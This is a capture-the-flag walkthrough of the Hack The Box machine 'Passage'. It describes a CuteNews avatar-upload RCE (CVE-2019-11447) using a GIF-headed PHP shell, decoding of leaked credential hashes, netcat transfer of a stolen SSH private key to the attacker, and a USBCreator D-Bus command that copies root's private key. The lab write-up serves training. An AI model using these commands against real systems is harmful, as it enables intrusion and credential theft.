Passage was an easy Linux box because everything was straightforward forward from the foothold to root. And well… a cliche opener for a walkthrough. If you know the passage it is just a matter of few minutes to grab the root.txt.

The initial phase is always a Nmap scan and that was done and without much delay, it gave two open ports.

Nmap scan report for passage.htb (
Host is up (0.20s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I recommend adding the box to the hosts file even though sometimes that becomes immaterial like this box. After adding to the hosts file accessing both the IP & http://passage.htb responded with the same code.

Home Page

The powered by footer note with the CuteNews link played a vital role or else it could have been a pain in vain time. Following the link to cutenews paved the way to the first shell. The last update was done in 2018 and if you are passing your time in HTB you know very well. But it depends some pros might go for more recon but being a lazy fellow the routine google search was done “cutenews exploit”.

The results loaded with many writeups and exploits. The first exploit that is available on exploitdb was a simple python script for a remote code execution. The exploit gave enough information and it used a magic byte to upload a shell and thereby gaining remote code execution. It was confirmed by reading CVE-2019-11447. Considering the painful exploits and the busted time while doing a few boxes in the past, it felt better to create a PHP shell starting with a GIF header and doing it manually.

The next part made a little hiccup - Uploading the shell! Yes, the directory bruting was missed during recon. But before going for that, few default locations like /login /user /dashboard were tried and ended up with 404 even for the specific /cutenews. Fortunately or unfortunately a decision was made to check the exploit code rather than going for a directory bruting and that gave two leads.

  1. The endpoint was /CuteNews not /cutenews ( Caps play roles )
  2. A list of encoded creds was located at

Being a little curious with lines file, it was downloaded and the creds were encoded in base64 with few lines having an access denied error


Decoding it to plain text was a piece of cake. Remove the denied lines and decode the base64. The results looked very promising with encrypted hashes.


But it was similar to JSON with curly brackets and copying only the hashes is an old way. Two users are there with a mail id @passage.htb and hashes. A bash liner can be used to display the hashes of only users of passage.htb.

$ curl | grep -v denied | while read line;do echo -n $line | base64 -d ;echo ;done | grep 64 | grep 'passage.htb' | while read line;do hash=$(echo $line | egrep -o [a-z0-9]{64});username=$(echo $line | cut -d'@' -f1 | rev | cut -d'"' -f1 | rev);echo $username "-" $hash;done

nadav - 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 paul - e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd

The hashes belonged to paul and nadav. The hashes were then searched using the Crackstaion.

7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1Not found

Two hashes and one cracked password. It is pretty simple now. Login using the creds and grab something but the exploit from exploitdb was left undone. When there is an RCE there is a shell! The exploit uses the registration function and it uploads the shell as an avatar. The plan was to go manual regardless of the python script.

It was evident to create a user and login to the dashboard. This can be done using the Register function from the /CuteNews path. The dashboard will provide an endpoint for uploading the avatar and it can be accessed using Personal Options. Start a Netcat listener and upload the shell that was created with the GIF8; header. Once a shell has been popped up upgrade the shell to an interactive shell, first thing on the list.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty -raw echo;fg
export TERM=xterm

The shell gave access to the box as www-data user with limited privilege. This is where the previous hashes come into play. Login to the user paul

$ su - paul

The user paul has the privilege to read user.txt.And it’s half done. Paul is not added to the sudo group and hence there is no way to be a sudo user. The hash which was not cracked belonged to a user named nadav. Since the password was not cracked by crackstation there is no hope in cracking it using hashcat. And that’s just an assumption and assumptions have always helped. And nadav was an admin user as per the decoded base64. There should be a way to nadav without a password…SSH!!

$ ls -a
.              .config           .gconf         .profile   .Xauthority
..             Desktop           .gnupg         Public     .xsession-errors
.bash_history  .dmrc             .ICEauthority  .ssh       .xsession-errors.old
.bash_logout   Documents         .local         Templates
.bashrc        Downloads         Music          user.txt
.cache         examples.desktop  Pictures       Videos
$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d [email protected]

Nadav’s key has been added to the authorized_keys. It’s clear as a sky. For later access, it is better to send the id_rsa file to the attacker’s machine as a copy.

Attacker’s machine
$ nc -lvnp 1234 > id_rsa
Vulnerable machine
$ nc -w 3 1234 < .ssh/id_rsa

Login to user nadav using ssh

$ ssh -i id_rsa [email protected]

Even though nadav is a sudo user, since the password is not known, there was no use in checking the level of sudo access. The next step was to go for is powerful but keeping it manual can buy some time and checking the running processes gave something very important for the privilege escalation.

$ ps -aux | grep -E 'nadav.*daemon'
nadav      1009  0.0  0.0  39928   276 ?        S    Jan22   0:00 upstart-udev-bridge --daemon --user
nadav      1021  0.0  0.1  43660  4084 ?        Ss   Jan22   0:02 dbus-daemon --fork --session --address=unix:abstract=/tmp/dbus-naFBKw78TY
nadav      1041  0.0  0.1 212272  6544 ?        SLl  Jan22   0:00 gnome-keyring-daemon --start --components ssh
nadav      1068  0.0  1.2 662920 50236 ?        Ssl  Jan22   0:00 /usr/lib/x86_64-linux-gnu/bamf/bamfdaemon
nadav      1075  0.0  0.0  39860   308 ?        S    Jan22   0:00 upstart-dbus-bridge --daemon --session --user --bus-name session
nadav      1080  0.0  0.2 438768  8200 ?        Ssl  Jan22   0:00 /usr/bin/ibus-daemon --daemonize --xim --address unix:tmpdir=/tmp/ibus
nadav      1084  0.0  0.0  39860   332 ?        S    Jan22   0:00 upstart-dbus-bridge --daemon --system --user --bus-name system
nadav      1086  0.0  0.0  48352   396 ?        S    Jan22   0:00 upstart-file-bridge --daemon --user
nadav      1107  0.0  0.5 436968 21872 ?        Sl   Jan22   0:00 /usr/lib/ibus/ibus-x11 --kill-daemon
nadav      1131  0.0  0.0  42896  4008 ?        S    Jan22   0:00 /usr/bin/dbus-daemon --config-file=/etc/at-spi2/accessibility.conf --nofork --print-address 3
nadav      1144  0.0  0.0 173604   628 ?        Ss   Jan22   0:04 gpg-agent --homedir /home/nadav/.gnupg --use-standard-socket --daemon
nadav      1156  0.0  0.7 870016 29328 ?        Ssl  Jan22   0:02 /usr/lib/unity-settings-daemon/unity-settings-daemon
nadav      1357  0.0  0.5 583856 21044 ?        Sl   Jan22   0:00 /usr/lib/unity-settings-daemon/unity-fallback-mount-helper
nadav      1775  0.0  0.0   4504   848 ?        S    Jan22   0:00 /bin/sh -c /usr/lib/x86_64-linux-gnu/zeitgeist/zeitgeist-maybe-vacuum; /usr/bin/zeitgeist-daemon
nadav      1782  0.0  0.1 405500  6308 ?        Sl   Jan22   0:00 /usr/bin/zeitgeist-daemon

The dbus daemon gave an initial thought of dbus privilege escalation.PaloAlto has an impressive writeup based on Dbus Privilege Escalation and it is authored by Nadav Markus a security researcher from PaloAlto.It is not a coincidence, the road to root is fixed and confirmed.

D-bus has a python implementation of the UNIX tool dd. This tool can be used, among other things, to copy files between locations. The input to the method builtin_dd is taken directly from the user input. The service has not implemented path sanitation checks on the source or target path, and no password prompts are being used and it will allow a user to overwrite arbitrary files on the filesystem, as root, with no password prompting. For the box it is enough to copy the id_rsa of the root user and log in as a root user

$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true

Grab the ssh key for root user from /tmp/ and login as root

$ ssh -i /tmp/id_rsa [email protected]

The passage is done and dusted…